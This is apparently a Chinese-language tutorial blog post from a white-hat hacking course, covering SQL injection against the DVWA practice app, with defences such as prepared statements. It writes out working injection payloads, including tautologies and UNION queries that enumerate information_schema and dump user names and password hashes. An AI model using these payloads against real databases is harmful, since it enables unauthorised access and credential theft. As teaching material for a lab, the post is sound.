白帽子黑客攻防系列課程(九)SQL注入

課程前言

白帽子黑客攻防系列課程第二季現已上線。

本課程僅做學習交流之用,切勿用於任何不法用途!
白帽子黑客攻防系列課程將會深入淺出講解計算機網絡基礎、滲透靶場搭建、Kali Linux、系統漏洞、滲透工具(Nmap、Sqlmap、AWVS等)等的原理及實戰內容。
第二季主要講解DVWA黑客攻防演練等,配合講解網絡基礎知識及Linux基礎知識等。
知其然並知其所以然,相信通過學習,各位朋友對白帽子黑客攻防會有非常深刻理解。
夢想還是要有的,萬一實現了呢!

網易雲課堂地址:https://study.163.com/course/courseMain.htm?courseId=1209505841&share=2&shareId=480000001946405

本篇博文爲SQL注入要點筆記,主要介紹黑客攻防中的SQL注入攻防技術。

SQL注入概述

指Web應用程序對用戶輸入數據的合法性沒有判斷,前端傳入後端的參數是攻擊者可控的,並且參數帶入數據庫查詢,攻擊者可以通過構造不同的SQL語句來實現對數據庫的任意操作。

一般情況下,開發人員可以使用動態SQL語句創建通用、靈活的應用。動態SQL語句是在執行過程中構造的,它根據不同的條件產生不同的SQL語句。當開發人員在運行過程中需要根據不同的查詢標準決定提取什麼字段(如 select語句),或者根據不同的條件選擇不同的查詢表時,動態地構造SQL語句會非常有用。

回顯注入:用戶發起查詢請求,服務器將查詢結果返回到頁面中進行顯示,典型場景爲查詢某篇文章、查詢某個用戶信息等。重點在於服務器將用戶的查詢請求返回到頁面上進行顯示。

初級原理及實操

view source

查看phpmyadmin 用戶名root 密碼root

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '1' or '1' = '1';”

 or '1' = '1' 永真,所以所有都符合這個條件了,就會把所有數據都能出來了。

中級原理及實操

view source

mysql_real_escape_string會對這 5 個字符轉義: ' " \r \n NULL Control-Z

用火狐瀏覽器設置 id=1 UNION ALL SELECT NULL, database()

SELECT first_name, last_name FROM users WHERE user_id = 1 UNION ALL SELECT NULL, database();

select database();顯示當前數據庫

UNION ALL

UNION 操作符用於合併兩個或多個 SELECT 語句的結果集。 請注意,UNION 內部的 SELECT 語句必須擁有相同數量的列。列也必須擁有相似的數據類型。同時,每條 SELECT 語句中的列的順序必須相同。UNION ALL 命令和 UNION 命令幾乎是等效的,不過 UNION ALL 命令會列出所有的值。

SQL Statement 1 UNION ALL SQL Statement 2

實例:列出在中國和美國的所有的僱員: SELECT E_Name FROM Employees_China UNION ALL SELECT E_Name FROM Employees_USA

高級原理及實操

view source

用LIMIT 1 限制了輸出數據的長度。

limit子句用於限制查詢結果返回的數量,常用於分頁查詢

select * from tableName limit i,n

# tableName:表名

# i:爲查詢結果的索引值(默認從0開始),當i=0時可省略i

# n:爲查詢結果返回的數量

# i與n之間使用英文逗號","隔開

# limit n 等同於 limit 0,n

例: # 查詢10條數據,索引從0到9,第1條記錄到第10條記錄

select * from t_user limit 10;

select * from t_user limit 0,10;

# 查詢8條數據,索引從5到12,第6條記錄到第13條記錄

select * from t_user limit 5,8;

實操輸入1' or '1' = '1'#

神仙級原理

view source

anti-token 機制防 CSRF 攻擊

s_numeric( $id ) 檢查 id 是不是數字

使用 prepare 預編譯再綁定變量a

PDO一是PHP數據對象(PHP Data Object)的縮寫。使用語句預處理將幫助你免於SQL注入攻擊。一條預處理語句是一條預編譯的 SQL 語句,它可以使用多次,每次只需將數據傳至服務器。其額外優勢在於可以對使用佔位符的數據進行安全處理,防止SQL注入攻擊。

mysql注入入侵詳解

在mysql5.0之後,默認有information_schema數據庫,該數據庫有三張表格一定要記住,分別是SCHEMATA、TABLES、COLUMNS。

SCHEMATA用戶創建的所有數據庫名。SCHEMA_NAME

TABLES用戶創建的數據庫的庫名和表名。TABLE_SCHEMATE和TABLE_NAME

TABLES用戶創建的數據庫的庫名和表名。TABLE_SCHEMATE和TABLE_NAME

COLUMNS用戶創建的數據庫的庫名、表名、字段名。TABLE_SCHEMATE、TABLE_NAME和COLUMNS_NAME

低級$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"

一、獲取數據庫版本

輸入 ' UNION ALL SELECT NULL, database()#

即 SELECT first_name, last_name FROM users WHERE user_id = '' UNION ALL SELECT NULL, database()#';

二、獲取當前數據庫所有表格

輸入 ' UNION SELECT NULL,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() # group_concat()函數

將group by產生的同一個分組中的值連接起來,返回一個字符串結果

即 SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT NULL,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() #

三、獲取表格的所有字段

輸入 ' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' # 即 SELECT first_name, last_name FROM users WHERE user_id = '' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' #

四、獲取用戶及密碼 輸入 ' UNION select user_id,password from users#

輸入 ' UNION select group_concat(first_name, last_name), group_concat(password) from users#

即 SELECT first_name, last_name FROM users WHERE user_id =  ' UNION select group_concat(first_name, last_name), group_concat(password) from users#

五、破解MD5加密

總結

神仙級原理

mysql相關知識點

手動入侵原理

sqlmap

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章